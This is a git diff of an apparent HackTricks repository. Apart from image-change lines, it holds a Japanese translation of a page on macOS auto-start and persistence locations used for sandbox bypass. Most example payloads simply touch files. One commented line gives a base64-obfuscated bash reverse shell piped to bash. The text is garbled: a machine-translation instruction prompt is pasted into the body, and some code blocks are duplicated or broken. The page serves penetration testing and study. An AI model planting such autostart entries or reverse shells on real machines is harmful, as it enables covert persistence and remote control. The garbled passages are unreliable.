Translated ['macos-hardening/macos-auto-start-locations.md', 'macos-hard
After Width: | Height: | Size: 1.6 KiB |
Before Width: | Height: | Size: 1.6 KiB After Width: | Height: | Size: 16 KiB |
Before Width: | Height: | Size: 16 KiB After Width: | Height: | Size: 132 KiB |
Before Width: | Height: | Size: 132 KiB After Width: | Height: | Size: 20 KiB |
Before Width: | Height: | Size: 20 KiB After Width: | Height: | Size: 8.1 KiB |
Before Width: | Height: | Size: 8.1 KiB After Width: | Height: | Size: 51 KiB |
Before Width: | Height: | Size: 51 KiB After Width: | Height: | Size: 32 KiB |
Before Width: | Height: | Size: 32 KiB After Width: | Height: | Size: 39 KiB |
Before Width: | Height: | Size: 39 KiB After Width: | Height: | Size: 72 KiB |
Before Width: | Height: | Size: 72 KiB After Width: | Height: | Size: 322 KiB |
Before Width: | Height: | Size: 322 KiB After Width: | Height: | Size: 36 KiB |
Before Width: | Height: | Size: 36 KiB After Width: | Height: | Size: 34 KiB |
Before Width: | Height: | Size: 34 KiB After Width: | Height: | Size: 176 KiB |
Before Width: | Height: | Size: 176 KiB After Width: | Height: | Size: 152 KiB |
Before Width: | Height: | Size: 152 KiB After Width: | Height: | Size: 31 KiB |
Before Width: | Height: | Size: 31 KiB After Width: | Height: | Size: 71 KiB |
Before Width: | Height: | Size: 71 KiB After Width: | Height: | Size: 65 KiB |
Before Width: | Height: | Size: 65 KiB After Width: | Height: | Size: 42 KiB |
BIN
.gitbook/assets/image (10) (2) (2).png
Normal file
After Width: | Height: | Size: 176 KiB |
Before Width: | Height: | Size: 176 KiB After Width: | Height: | Size: 72 KiB |
Before Width: | Height: | Size: 72 KiB After Width: | Height: | Size: 36 KiB |
After Width: | Height: | Size: 94 KiB |
Before Width: | Height: | Size: 94 KiB After Width: | Height: | Size: 199 KiB |
Before Width: | Height: | Size: 199 KiB After Width: | Height: | Size: 145 KiB |
Before Width: | Height: | Size: 145 KiB After Width: | Height: | Size: 1.2 MiB |
Before Width: | Height: | Size: 1.2 MiB After Width: | Height: | Size: 100 KiB |
Before Width: | Height: | Size: 100 KiB After Width: | Height: | Size: 12 KiB |
Before Width: | Height: | Size: 12 KiB After Width: | Height: | Size: 121 KiB |
Before Width: | Height: | Size: 121 KiB After Width: | Height: | Size: 7 KiB |
Before Width: | Height: | Size: 7 KiB After Width: | Height: | Size: 72 KiB |
Before Width: | Height: | Size: 72 KiB After Width: | Height: | Size: 60 KiB |
Before Width: | Height: | Size: 60 KiB After Width: | Height: | Size: 223 KiB |
Before Width: | Height: | Size: 223 KiB After Width: | Height: | Size: 27 KiB |
Before Width: | Height: | Size: 27 KiB After Width: | Height: | Size: 32 KiB |
Before Width: | Height: | Size: 32 KiB After Width: | Height: | Size: 15 KiB |
Before Width: | Height: | Size: 15 KiB After Width: | Height: | Size: 90 KiB |
After Width: | Height: | Size: 19 KiB |
Before Width: | Height: | Size: 19 KiB After Width: | Height: | Size: 78 KiB |
Before Width: | Height: | Size: 78 KiB After Width: | Height: | Size: 38 KiB |
Before Width: | Height: | Size: 38 KiB After Width: | Height: | Size: 795 KiB |
Before Width: | Height: | Size: 795 KiB After Width: | Height: | Size: 104 KiB |
Before Width: | Height: | Size: 104 KiB After Width: | Height: | Size: 17 KiB |
Before Width: | Height: | Size: 17 KiB After Width: | Height: | Size: 68 KiB |
Before Width: | Height: | Size: 68 KiB After Width: | Height: | Size: 154 KiB |
Before Width: | Height: | Size: 154 KiB After Width: | Height: | Size: 74 KiB |
Before Width: | Height: | Size: 74 KiB After Width: | Height: | Size: 14 KiB |
Before Width: | Height: | Size: 14 KiB After Width: | Height: | Size: 53 KiB |
BIN
.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1).png
Normal file
After Width: | Height: | Size: 60 KiB |
Before Width: | Height: | Size: 60 KiB After Width: | Height: | Size: 13 KiB |
Before Width: | Height: | Size: 13 KiB After Width: | Height: | Size: 7.8 KiB |
Before Width: | Height: | Size: 7.8 KiB After Width: | Height: | Size: 48 KiB |
Before Width: | Height: | Size: 48 KiB After Width: | Height: | Size: 76 KiB |
Before Width: | Height: | Size: 76 KiB After Width: | Height: | Size: 36 KiB |
Before Width: | Height: | Size: 36 KiB After Width: | Height: | Size: 237 KiB |
Before Width: | Height: | Size: 237 KiB After Width: | Height: | Size: 56 KiB |
BIN
.gitbook/assets/image (5) (1) (1) (1) (1).png
Normal file
After Width: | Height: | Size: 3.2 MiB |
Before Width: | Height: | Size: 3.2 MiB After Width: | Height: | Size: 82 KiB |
Before Width: | Height: | Size: 82 KiB After Width: | Height: | Size: 18 KiB |
Before Width: | Height: | Size: 18 KiB After Width: | Height: | Size: 111 KiB |
Before Width: | Height: | Size: 111 KiB After Width: | Height: | Size: 246 KiB |
BIN
.gitbook/assets/image (6) (1) (3) (1).png
Normal file
After Width: | Height: | Size: 23 KiB |
Before Width: | Height: | Size: 23 KiB After Width: | Height: | Size: 160 KiB |
Before Width: | Height: | Size: 160 KiB After Width: | Height: | Size: 111 KiB |
Before Width: | Height: | Size: 111 KiB After Width: | Height: | Size: 83 KiB |
BIN
.gitbook/assets/image (7) (1) (1) (1) (1).png
Normal file
After Width: | Height: | Size: 96 KiB |
Before Width: | Height: | Size: 96 KiB After Width: | Height: | Size: 146 KiB |
Before Width: | Height: | Size: 146 KiB After Width: | Height: | Size: 58 KiB |
Before Width: | Height: | Size: 58 KiB After Width: | Height: | Size: 7.5 KiB |
Before Width: | Height: | Size: 7.5 KiB After Width: | Height: | Size: 8.2 KiB |
BIN
.gitbook/assets/image (722).png
Normal file
After Width: | Height: | Size: 65 KiB |
BIN
.gitbook/assets/image (723).png
Normal file
After Width: | Height: | Size: 68 KiB |
BIN
.gitbook/assets/image (8) (3).png
Normal file
After Width: | Height: | Size: 358 KiB |
Before Width: | Height: | Size: 358 KiB After Width: | Height: | Size: 97 KiB |
BIN
.gitbook/assets/image (9) (3) (1).png
Normal file
After Width: | Height: | Size: 92 KiB |
Before Width: | Height: | Size: 92 KiB After Width: | Height: | Size: 89 KiB |
Before Width: | Height: | Size: 89 KiB After Width: | Height: | Size: 75 KiB |
Before Width: | Height: | Size: 36 KiB After Width: | Height: | Size: 43 KiB |
|
@ -191,6 +191,7 @@
|
|||
* [macOS TCC](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md)
|
||||
* [macOS TCC Bypasses](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/README.md)
|
||||
* [macOS Apple Scripts](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/macos-apple-scripts.md)
|
||||
* [macOS TCC Payloads](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-payloads.md)
|
||||
* [macOS Dangerous Entitlements & TCC perms](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md)
|
||||
* [macOS FS Tricks](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md)
|
||||
* [macOS xattr-acls extra stuff](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/macos-xattr-acls-extra-stuff.md)
|
||||
|
@ -543,6 +544,10 @@
|
|||
* [Web Vulns List](pentesting-web/pocs-and-polygloths-cheatsheet/web-vulns-list.md)
|
||||
* [2FA/OTP Bypass](pentesting-web/2fa-bypass.md)
|
||||
* [Account Takeover](pentesting-web/account-takeover.md)
|
||||
* [Browser Extension Pentesting Methodology](pentesting-web/browser-extension-pentesting-methodology/README.md)
|
||||
* [BrowExt - ClickJacking](pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md)
|
||||
* [BrowExt - permissions & host\_permissions](pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host\_permissions.md)
|
||||
* [BrowExt - XSS Example](pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md)
|
||||
* [Bypass Payment Process](pentesting-web/bypass-payment-process.md)
|
||||
* [Captcha Bypass](pentesting-web/captcha-bypass.md)
|
||||
* [Cache Poisoning and Cache Deception](pentesting-web/cache-deception.md)
|
||||
|
|
|
@ -1,30 +1,30 @@
|
|||
# macOS Auto Start
|
||||
# macOS 自動起動
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ会社**で働いていますか?**HackTricksにあなたの会社を広告したいですか?** または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?** [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見してください。私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションです。
|
||||
* **サイバーセキュリティ会社**で働いていますか?**HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセス**したり、**HackTricksをPDFでダウンロード**したいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください。
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手してください。
|
||||
* **[**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加するか、** Twitter **[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**に**フォローしてください。**
|
||||
* **[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出して、あなたのハッキングのコツを共有してください。**
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加する**か、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのコツを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
このセクションは、ブログシリーズ[**Beyond the good ol' LaunchAgents**](https://theevilbit.github.io/beyond/)に大きく基づいており、目的は**より多くのAutostart Locations**を追加すること(可能であれば)、**最新バージョンのmacOS(13.4)で今日でも機能している技術**を示し、必要な**権限**を指定することです。
|
||||
このセクションは、ブログシリーズ[**Beyond the good ol' LaunchAgents**](https://theevilbit.github.io/beyond/)に大きく基づいており、目的は**より多くの自動起動場所**を追加し(可能であれば)、最新バージョンのmacOS(13.4)で**今日でも機能している技術**を示し、必要な**権限**を指定することです。
|
||||
|
||||
## Sandbox Bypass
|
||||
## サンドボックスバイパス
|
||||
|
||||
{% hint style="success" %}
|
||||
ここでは、**sandbox bypass**に役立つスタートロケーションを見つけることができます。これにより、ファイルに**書き込んで待つ**だけで、非常に**一般的な** **アクション**、決まった**時間**、または通常、root権限なしでsnadbox内から実行できる**アクション**によって何かを実行することができます。
|
||||
ここでは、ファイルに書き込んで**待つ**だけで何かを実行できる**サンドボックスバイパス**に役立つ起動場所を見つけることができます。これは、非常に**一般的な** **アクション**、決まった**時間**、または通常、root権限なしでサンドボックス内から実行できる**アクション**によって行われます。
|
||||
{% endhint %}
|
||||
|
||||
### Launchd
|
||||
|
||||
* Sandbox bypassに役立つ: [✅](https://emojipedia.org/check-mark-button)
|
||||
* サンドボックスをバイパスするのに役立つ: [✅](https://emojipedia.org/check-mark-button)
|
||||
|
||||
#### ロケーション
|
||||
#### 場所
|
||||
|
||||
* **`/Library/LaunchAgents`**
|
||||
* **トリガー**: 再起動
|
||||
|
@ -43,9 +43,9 @@
|
|||
* **`~/Library/LaunchDemons`**
|
||||
* **トリガー**: 再ログイン
|
||||
|
||||
#### 説明 & 悪用
|
||||
#### 説明と悪用
|
||||
|
||||
**`launchd`**はOX Sカーネルによってスタートアップ時に実行される**最初の** **プロセス**であり、シャットダウン時に終了する最後のプロセスです。常に**PID 1**を持っているべきです。このプロセスは、以下の**ASEP** **plists**に示された設定を**読み取り実行**します:
|
||||
**`launchd`** はOX Sカーネルによってスタートアップ時に実行される**最初の** **プロセス**であり、シャットダウン時に終了する最後のプロセスです。常に**PID 1**を持っているべきです。このプロセスは、以下の**ASEP** **plists**に示された設定を**読み取り実行**します:
|
||||
|
||||
* `/Library/LaunchAgents`: 管理者によってインストールされたユーザーごとのエージェント
|
||||
* `/Library/LaunchDaemons`: 管理者によってインストールされたシステム全体のデーモン
|
||||
|
@ -54,7 +54,7 @@
|
|||
|
||||
ユーザーがログインすると、`/Users/$USER/Library/LaunchAgents`と`/Users/$USER/Library/LaunchDemons`にあるplistsが**ログインユーザーの権限**で開始されます。
|
||||
|
||||
エージェントとデーモンの**主な違いは、エージェントはユーザーがログインしたときにロードされ、デーモンはシステムのスタートアップ時にロードされる**ことです(sshのようなサービスは、ユーザーがシステムにアクセスする前に実行する必要があります)。また、エージェントはGUIを使用できますが、デーモンはバックグラウンドで実行する必要があります。
|
||||
エージェントとデーモンの**主な違いは、エージェントはユーザーがログインしたときにロードされ、デーモンはシステムの起動時にロードされる**ことです(sshのようなサービスは、ユーザーがシステムにアクセスする前に実行する必要があります)。また、エージェントはGUIを使用できますが、デーモンはバックグラウンドで実行する必要があります。
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN">
|
||||
|
@ -77,13 +77,13 @@
|
|||
</dict>
|
||||
</plist>
|
||||
```
|
||||
ユーザーがログインする前に**エージェントを実行する必要がある場合**があります。これらは**PreLoginAgents**と呼ばれます。例えば、ログイン時に支援技術を提供するのに役立ちます。`/Library/LaunchAgents`にも見つけることができます([**こちら**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents)に例があります)。
|
||||
ユーザーがログインする前に**エージェントを実行する必要がある場合**があります。これらは**PreLoginAgents**と呼ばれています。例えば、ログイン時に支援技術を提供するのに役立ちます。これらは`/Library/LaunchAgents`にも見つけることができます(例は[**こちら**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents)を参照)。
|
||||
|
||||
{% hint style="info" %}
|
||||
新しいデーモンまたはエージェントの設定ファイルは、次の再起動後に**読み込まれるか、** `launchctl load <target.plist>` を使用して**読み込まれます**。**拡張子がない.plistファイルも** `launchctl -F <file>` で読み込むことが**可能です**(ただし、これらのplistファイルは再起動後に自動的には読み込まれません)。\
|
||||
また、`launchctl unload <target.plist>` で**アンロード**することも可能です(それによって指されたプロセスは終了します)。
|
||||
新しいデーモンまたはエージェントの設定ファイルは、**次の再起動後に読み込まれるか、** `launchctl load <target.plist>` を使用して読み込まれます。**拡張子がない .plist ファイルも** `launchctl -F <file>` で読み込むことが可能です(ただし、これらの plist ファイルは再起動後に自動的には読み込まれません)。\
|
||||
また、`launchctl unload <target.plist>` を使用して**アンロード**することも可能です(それによって指されたプロセスは終了します)。
|
||||
|
||||
**エージェント**や**デーモン**が**実行されないようにする**(オーバーライドのようなものがあるかどうかを**確認する**ためには、次のコマンドを実行します: `sudo launchctl load -w /System/Library/LaunchDaemos/com.apple.smdb.plist`
|
||||
**エージェント**や**デーモン**が**実行されるのを防ぐ**(オーバーライドのような)**何もないことを確認する**には、次のコマンドを実行します: `sudo launchctl load -w /System/Library/LaunchDaemos/com.apple.smdb.plist`
|
||||
{% endhint %}
|
||||
|
||||
現在のユーザーによって読み込まれたすべてのエージェントとデーモンをリストします:
|
||||
|
@ -91,7 +91,7 @@
|
|||
launchctl list
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
もしplistがユーザーによって所有されている場合、たとえそれがデーモンのシステムワイドフォルダにあったとしても、**タスクはユーザーとして実行されます**、rootとしてではありません。これにより、特権昇格攻撃を防ぐことができます。
|
||||
もしplistがユーザーによって所有されている場合、たとえそれがデーモンのシステム全体のフォルダにあったとしても、**タスクはユーザーとして実行されます**、rootとしてではありません。これにより、特権昇格攻撃を防ぐことができます。
|
||||
{% endhint %}
|
||||
|
||||
### シェル起動ファイル
|
||||
|
@ -107,12 +107,12 @@ Writeup (xterm): [https://theevilbit.github.io/beyond/beyond\_0018/](https://the
|
|||
* **トリガー**: zshを使ってターミナルを開く
|
||||
* **`/etc/zshenv`, `/etc/zprofile`, `/etc/zshrc`, `/etc/zlogin`**
|
||||
* **トリガー**: zshを使ってターミナルを開く
|
||||
* Rootが必要
|
||||
* Root権限が必要
|
||||
* **`~/.zlogout`**
|
||||
* **トリガー**: zshを使ってターミナルを終了する
|
||||
* **`/etc/zlogout`**
|
||||
* **トリガー**: zshを使ってターミナルを終了する
|
||||
* Rootが必要
|
||||
* Root権限が必要
|
||||
* さらに詳しくは: **`man zsh`**
|
||||
* **`~/.bashrc`**
|
||||
* **トリガー**: bashを使ってターミナルを開く
|
||||
|
@ -123,7 +123,7 @@ Writeup (xterm): [https://theevilbit.github.io/beyond/beyond\_0018/](https://the
|
|||
|
||||
#### 説明と悪用
|
||||
|
||||
シェル起動ファイルは、`zsh`や`bash`のようなシェル環境が**起動するとき**に実行されます。macOSは現在デフォルトで`/bin/zsh`を使用しており、**`Terminal`を開いたりSSHでデバイスに接続したりすると**、このシェル環境に入ります。`bash`や`sh`も利用可能ですが、明示的に起動する必要があります。
|
||||
シェル起動ファイルは、`zsh`や`bash`のようなシェル環境が**起動しているとき**に実行されます。macOSは現在デフォルトで`/bin/zsh`を使用しており、**`Terminal`を開いたりSSHでデバイスに接続したりすると**、このシェル環境に入ります。`bash`や`sh`も利用可能ですが、明示的に起動する必要があります。
|
||||
|
||||
zshのmanページには、起動ファイルについての長い説明があります。これは**`man zsh`**で読むことができます。
|
||||
```bash
|
||||
|
@ -133,7 +133,7 @@ echo "touch /tmp/hacktricks" >> ~/.zshrc
|
|||
### 再オープンされるアプリケーション
|
||||
|
||||
{% hint style="danger" %}
|
||||
指定された悪用の設定とログアウト、ログイン、あるいは再起動を行っても、アプリを実行することはできませんでした。(アプリが実行されていない可能性があります。これらのアクションを実行する際には実行中である必要があるかもしれません)
|
||||
指定されたエクスプロイトを設定し、ログアウトしてログインし直すか、あるいは再起動しても、アプリを実行することはできませんでした。(アプリが実行されていなかったので、これらのアクションを実行するときには実行中である必要があるかもしれません)
|
||||
{% endhint %}
|
||||
|
||||
**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0021/](https://theevilbit.github.io/beyond/beyond\_0021/)
|
||||
|
@ -145,11 +145,11 @@ echo "touch /tmp/hacktricks" >> ~/.zshrc
|
|||
* **`~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist`**
|
||||
* **トリガー**: アプリケーションの再起動時に再オープン
|
||||
|
||||
#### 説明と悪用
|
||||
#### 説明とエクスプロイト
|
||||
|
||||
再オープンするすべてのアプリケーションはplist `~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist` 内にあります。
|
||||
|
||||
再オープンするアプリケーションに自分のアプリを起動させるには、**リストに自分のアプリを追加する**だけです。
|
||||
したがって、再オープンするアプリケーションに自分のアプリを起動させるには、**リストに自分のアプリを追加する**だけです。
|
||||
|
||||
UUIDは、そのディレクトリをリストアップするか、`ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'` で見つけることができます。
|
||||
|
||||
|
@ -159,7 +159,7 @@ defaults -currentHost read com.apple.loginwindow TALAppsToRelaunchAtLogin
|
|||
#or
|
||||
plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
|
||||
```
|
||||
**このリストにアプリケーションを追加するには**、次の方法を使用できます:
|
||||
**このリストにアプリケーションを追加するには**、以下を使用できます:
|
||||
```bash
|
||||
# Adding iTerm2
|
||||
/usr/libexec/PlistBuddy -c "Add :TALAppsToRelaunchAtLogin: dict" \
|
||||
|
@ -180,9 +180,9 @@ plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
|
|||
|
||||
#### 説明と悪用
|
||||
|
||||
**`~/Library/Preferences`** には、アプリケーションのユーザー設定が保存されています。これらの設定の中には、**他のアプリケーション/スクリプトを実行する**設定を含むものがあります。
|
||||
**`~/Library/Preferences`** には、アプリケーションのユーザー環境設定が保存されています。これらの環境設定の中には、**他のアプリケーション/スクリプトを実行する**設定を保持しているものがあります。
|
||||
|
||||
例えば、ターミナルはスタートアップでコマンドを実行することができます:
|
||||
例えば、ターミナルはスタートアップでコマンドを実行することができます:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (676).png" alt="" width="495"><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -202,13 +202,20 @@ plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
|
|||
}
|
||||
[...]
|
||||
```
|
||||
```markdown
|
||||
したがって、システム内のターミナルの設定のplistを上書きできれば、**`open`** 機能を使用して**ターミナルを開き、そのコマンドが実行されます**。
|
||||
```bash
|
||||
defaults write com.apple.Terminal.plist command-to-execute
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
これはCLIから次のように追加できます:
|
||||
これにより、システムのターミナルの設定のplistが上書きされると、**`open`** 機能を使用して**ターミナルを開き、そのコマンドが実行されます**。
|
||||
|
||||
CLIからこれを追加するには:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
defaults write com.apple.Terminal.plist command-to-execute
|
||||
```
|
||||
{% endcode %}
|
||||
```bash
|
||||
# Add
|
||||
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" 'touch /tmp/terminal-start-command'" $HOME/Library/Preferences/com.apple.Terminal.plist
|
||||
|
@ -221,7 +228,7 @@ plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
|
|||
|
||||
### ターミナルスクリプト / その他のファイル拡張子
|
||||
|
||||
* サンドボックスをバイパスするのに役立つ: [✅](https://emojipedia.org/check-mark-button)
|
||||
* サンドボックスをバイパスするのに役立ちます: [✅](https://emojipedia.org/check-mark-button)
|
||||
|
||||
#### 場所
|
||||
|
||||
|
@ -260,7 +267,11 @@ open /tmp/test.terminal
|
|||
# Use something like the following for a reverse shell:
|
||||
<string>echo -n "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxOw==" | base64 -d | bash;</string>
|
||||
```
|
||||
以下は、シェルスクリプトの内容を含む拡張子 **`.command`**、**`.tool`** も使用できます。これらはTerminalによって開かれます。
|
||||
以下は、macOSの自動起動場所に関するハッキング技術についてのハッキング本の内容です。関連する英語テキストを日本語に翻訳し、同じマークダウンおよびHTML構文を保ちながら翻訳を返してください。コード、ハッキング技術名、ハッキング用語、クラウド/SaaSプラットフォーム名(Workspace、aws、gcpなど)、'leak'という単語、ペネトレーションテスト、およびマークダウンタグなどは翻訳しないでください。また、翻訳とマークダウン構文以外の余分なものは追加しないでください。
|
||||
|
||||
---
|
||||
|
||||
拡張子 **`.command`**、**`.tool`** も通常のシェルスクリプトの内容とともに使用でき、Terminalによって開かれます。
|
||||
|
||||
{% hint style="danger" %}
|
||||
Terminalに**フルディスクアクセス**がある場合、そのアクションを完了できます(実行されるコマンドはTerminalウィンドウに表示されることに注意してください)。
|
||||
|
@ -287,7 +298,7 @@ Writeup: [https://posts.specterops.io/audio-unit-plug-ins-896d3434a882](https://
|
|||
|
||||
#### 説明
|
||||
|
||||
前述のWriteupによると、オーディオプラグインを**コンパイルしてロードする**ことが可能です。
|
||||
前述のWriteupによると、**オーディオプラグインをコンパイルしてロードする**ことが可能です。
|
||||
|
||||
### QuickLookプラグイン
|
||||
|
||||
|
@ -303,9 +314,9 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit.
|
|||
* `/Applications/AppNameHere/Contents/Library/QuickLook/`
|
||||
* `~/Applications/AppNameHere/Contents/Library/QuickLook/`
|
||||
|
||||
#### 説明と悪用
|
||||
#### 説明 & 悪用
|
||||
|
||||
QuickLookプラグインは、Finderでファイルを選択してスペースバーを押すとファイルの**プレビューをトリガー**したとき、そのファイルタイプをサポートする**プラグインがインストールされている**場合に実行されます。
|
||||
QuickLookプラグインは、Finderでファイルを選択してスペースバーを押すと(ファイルのプレビューを**トリガー**すると)実行され、そのファイルタイプをサポートする**プラグインがインストールされている**場合があります。
|
||||
|
||||
独自のQuickLookプラグインをコンパイルし、上記の場所のいずれかに配置してロードし、サポートされているファイルに移動してスペースを押してトリガーすることが可能です。
|
||||
|
||||
|
@ -356,7 +367,7 @@ defaults delete com.apple.loginwindow LogoutHook
|
|||
## 条件付きサンドボックスバイパス
|
||||
|
||||
{% hint style="success" %}
|
||||
ここでは、**ファイルに書き込む**ことで単純に何かを実行し、特定の**プログラムがインストールされている**、"一般的ではない"ユーザーのアクションや環境など、**あまり一般的ではない条件**を期待することで、**サンドボックスバイパス**に役立つスタートロケーションを見つけることができます。
|
||||
ここでは、**ファイルに書き込む**ことで単純に何かを実行し、特定の**プログラムがインストールされている**、"一般的でない"ユーザーのアクションや環境など、あまり一般的でない条件を**期待する**ことで、**サンドボックスバイパス**に役立つスタートロケーションを見つけることができます。
|
||||
{% endhint %}
|
||||
|
||||
### Cron
|
||||
|
@ -408,7 +419,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0002/](https://theevilbit.
|
|||
* **`~/Library/Preferences/com.googlecode.iterm2.plist`**
|
||||
* **トリガー**: iTermを開く
|
||||
|
||||
#### 説明 & 悪用
|
||||
#### 説明と悪用
|
||||
|
||||
**`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`** に保存されたスクリプトは実行されます。例えば:
|
||||
```bash
|
||||
|
@ -440,11 +451,11 @@ EOF
|
|||
```bash
|
||||
do shell script "touch /tmp/iterm2-autolaunchscpt"
|
||||
```
|
||||
iTerm2の設定ファイル **`~/Library/Preferences/com.googlecode.iterm2.plist`** には、iTerm2のターミナルを開いたときに**実行するコマンドを指定する**ことができます。
|
||||
iTerm2の設定ファイル **`~/Library/Preferences/com.googlecode.iterm2.plist`** には、iTerm2のターミナルが開かれたときに**実行するコマンドを指示する**ことができます。
|
||||
|
||||
この設定はiTerm2の設定で構成できます:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
そして、そのコマンドは設定ファイルに反映されます:
|
||||
```bash
|
||||
|
@ -472,12 +483,12 @@ open /Applications/iTerm.app/Contents/MacOS/iTerm2
|
|||
{% endcode %}
|
||||
|
||||
{% hint style="warning" %}
|
||||
iTerm2の設定を悪用して任意のコマンドを実行する**他の方法が高い確率で存在します**。
|
||||
iTerm2の設定を悪用して任意のコマンドを実行する**他の方法が高確率で存在する**可能性があります。
|
||||
{% endhint %}
|
||||
|
||||
### xbar
|
||||
|
||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0007/](https://theevilbit.github.io/beyond/beyond\_0007/)
|
||||
解説: [https://theevilbit.github.io/beyond/beyond\_0007/](https://theevilbit.github.io/beyond/beyond\_0007/)
|
||||
|
||||
* サンドボックスをバイパスするのに役立つ: [✅](https://emojipedia.org/check-mark-button)
|
||||
* ただし、xbarがインストールされている必要がある
|
||||
|
@ -487,6 +498,16 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0007/](https://theevilbit.
|
|||
* **`~/Library/Application\ Support/xbar/plugins/`**
|
||||
* **トリガー**: xbarが実行された時
|
||||
|
||||
#### 説明
|
||||
|
||||
人気のあるプログラム[**xbar**](https://github.com/matryer/xbar)がインストールされている場合、**`~/Library/Application\ Support/xbar/plugins/`**にシェルスクリプトを書くことができ、xbarが起動されたときに実行されます:
|
||||
```bash
|
||||
cat > "$HOME/Library/Application Support/xbar/plugins/a.sh" << EOF
|
||||
#!/bin/bash
|
||||
touch /tmp/xbar
|
||||
EOF
|
||||
chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"
|
||||
```
|
||||
### Hammerspoon
|
||||
|
||||
**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0008/](https://theevilbit.github.io/beyond/beyond\_0008/)
|
||||
|
@ -495,19 +516,20 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0007/](https://theevilbit.
|
|||
|
||||
* ただし、Hammerspoonがインストールされている必要がある
|
||||
|
||||
#### 位置
|
||||
#### 場所
|
||||
|
||||
* **`~/.hammerspoon/init.lua`**
|
||||
* **トリガー**: hammerspoonが実行された時
|
||||
* **トリガー**: Hammerspoonが実行されると
|
||||
|
||||
#### 説明
|
||||
|
||||
